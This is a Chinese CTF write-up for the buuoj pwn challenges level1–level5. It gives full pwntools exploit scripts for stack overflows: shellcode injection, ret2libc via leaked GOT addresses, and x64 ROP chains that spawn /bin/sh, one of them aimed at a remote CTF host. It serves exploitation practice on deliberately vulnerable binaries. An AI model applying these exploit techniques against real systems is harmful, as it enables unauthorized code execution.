level 1

image-20210118154751078

先看看保护 全关

再看看程序image-20210118193402890

image-20210118193310385

明显的栈溢出漏洞 %p 格式化字符串 打印buf 地址(buf的地址是随机改变的)

先用peda 看看溢出点

peda

pattern create 300 

先产生300个随机字符

复制输入 查看错误 需要的覆盖值为140

image-20210118194229350

payload = shellcode + (140-len(shellcode)) * A + bss_addr

exp1:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
#io = process('./level1')
io = remote('node3.buuoj.cn',29120)
shellcode = asm(shellcraft.sh())
bss_addr = io.recvline()[14:22]
bss_addr = int(bss_addr,16)

#print(bss_addr)
len1=140-len(shellcode)
payload=flat([shellcode,'A' * len1 ,bss_addr])

io.send(payload)
io.interactive()

结果buuoj 不回显

那就只有 泄露libc地址 跟之前做的ret2libc3 类似

CTF_wiki_basic_ROP

from pwn import *
from LibcSearcher import *

io = remote('node3.buuoj.cn',29120)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload1 = flat(['A' * 140,write_plt,main_addr,0xdeadbeef,write_got,0x4]) 

io.send(payload1)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base = write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload2 =flat(['B'*140,system_addr,0xdeadbeef,bin_sh])

io.send(payload2)
io.interactive()
image-20210118200927801

o 了


level2

image-20210119232518271
image-20210119232627393
image-20210119232728071
image-20210119232746022

有system 有/bin/sh 加上read 溢出 okok

from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./level2')

io = process('./level2')
system_addr = elf.plt['system']
binsh_addr = 0x0804A024
payload = flat([(0x88+4) * 'A',system_addr,0x1,binsh_addr])
io.send(payload)
io.interactive()

中间0x1 防止00截断

image-20210120000148927

OK

level2 x64

用一点gadget

先说一下64位传参方式

函数参数小于6 依次从左到右放入 rdi,rsi,rdx,rcx,r8,r9

大于6 多余的部分从右到左依次压栈

iDA 打开 发现有system 有binsh 所以可以构造 system("/bin/sh") 的调用栈

发现80可以用A覆盖 再覆盖0x8的ebp地址 return 的地址=覆盖为gadget地址 使得把我们想要的binsh放入

shift + F12 找到 /bin/sh 地址

image-20210120012313357

gadget 用工具 ROPgadget 说一下简单的用法

查字符串位置

image-20201228020920042
ROPgadget --binary filename  --only 'pop|ret' | grep 'ebx'

查找可以用的gadget 寄存器的地址

image-20201228021045836

这里直接找rdi image-20210120012816899

OK 找到后 用elf.plt['system']直接得到system地址

开始构造 payload :

先junk_data 填充(0x80+8) |然后 ret 直接模拟pop出栈 将 binsh地址放入rdi 中 | 然后因为是ret 所以会跳到system地址上执行

Exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./level2_x64')
io = process('./level2_x64')
pop_edi=0x00000000004006b3
binsh = 0x0000000000600A90
system_addr = elf.plt['system']

payload=flat([(0x80+8) * 'A', pop_edi, binsh,system_addr])
io.send(payload)
io.interactive()
image-20210120013455181

ok!


level 3

先看保护:

image-20210121030906967

NX 保护栈不可执行

虽然有溢出image-20210121031840445

ret2libc笔记

和ret2libc3 一样泄露libc 地址 但又与ret2libc3有点不同 这里选择泄露write

payload1 = flat([(0x88+4) * 'A',write_plt,vfun_addr,0x1,write_got,0x4])

因为要利用两次栈溢出 所以把 vfun的地址放中间

因为这里调用write 泄露write 的真正地址 (通过write 泄露地址 要调用write,还要给write 传参说明打印4个字节的write真正地址)

write真实地址4字节

write(1,write_got,4)

0x1 为 fd,4为长度。

payload2 = flat([(0x88+4)*'A', system_addr,0xdeadbeef, binsh_addr])

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io = process('./level3')
#io = remote('node3.buuoj.cn',29678)
elf = ELF('./level3')
libc = elf.libc
vfun_addr = 0x0804844B
write_plt = elf.plt['write']
write_got = elf.got['write']

payload1 = flat([(0x88+4) * 'A',write_plt,vfun_addr,0x1,write_got,0x4])

io.recvuntil('Input:\n')
io.send(payload1)

write_addr = u32(io.recv(4))

libc.address = write_addr - libc.symbols['write']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

payload2 = flat([(0x88+4)*'A', system_addr,0xdeadbeef, binsh_addr])
io.recvuntil('Input:\n')
io.send(payload2)
io.interactive()

level3_x64

image-20210121035504709
image-20210121042549345

填充 (0x80 + 8 ) * 'A'

用gadget 把 栈上的值放入寄存器中 我选择泄露 write 但是因为write要设置参数

write(1,write_got,0x8)

但是没找到rdx 但是只要第三个参数大于8就行 gdb 下断在 read前 看rdx为0x200 ok!

image-20210121044814969
image-20210121052349465

payload1 :把参数依次填入

payload1 =''
payload1+=0x88 * 'A'
payload1+=p64(pop_ret_rdi) + p64(0x1)
payload1+=p64(pop_ret_rsi) + p64(write_got)+p64(0)
#print (write_got)
payload1+=p64(write_plt)
payload1+=p64(vfun_addr)

打印write_got 长度为7 要加个p64(0)对齐 8位

payload2 :也是把binsh地址用 pop填入

完整exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io = process('./level3_x64')
elf = ELF('./level3_x64')
libc = elf.libc

vfun_addr = 0x00000000004005E6
pop_ret_rdi = 0x00000000004006b3
pop_ret_rsi = 0x00000000004006b1
write_plt = elf.plt['write']
write_got = elf.got['write']

payload1 =''
payload1+=0x88 * 'A'
payload1+=p64(pop_ret_rdi) + p64(0x1)
payload1+=p64(pop_ret_rsi) + p64(write_got)+p64(0)
#print (write_got)
payload1+=p64(write_plt)
payload1+=p64(vfun_addr)

io.recvuntil('Input:\n')
io.send(payload1)

write_addr=u64(io.recv(8))
#print hex(write_addr)

libc.address = write_addr - libc.symbols['write']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

payload2 = flat([0x88 * 'A',pop_ret_rdi,binsh_addr,system_addr])
io.recvuntil('Input:\n')
io.sendline(payload2)

io.interactive()

level4

image-20210121053325671

跟level3 差不多 不过没有write 只有泄露read真实地址得到libc基址

泄露只有泄露已经调用过的函数具体可以参考这篇文章

[计算机原理系列之八 ——– 可执行文件的PLT和GOT](计算机原理系列之八 ——– 可执行文件的PLT和GOT – 落木萧萧的博客 (luomuxiaoxiao.com))

image-20210121054002679

完整exp:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = process('./level4')
elf = ELF('./level4')
libc = elf.libc

write_plt = elf.plt['write']
read_got = elf.got['read']
vfun_addr = 0x0804844B

payload1 = flat([(0x88+4) * 'A', write_plt, vfun_addr,0x1, read_got,0x4])

io.send(payload1)
read_addr = u32(io.recv(4))

libc.address = read_addr - libc.symbols['read']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

payload2 = flat([(0x88+4) * 'B',system_addr,0xdeadbeef,binsh_addr])
io.send(payload2)

io.interactive()

level 5

buu 上level5 就是level3 的x64版本一样的


山鸟和鱼不同路,从此山水不相逢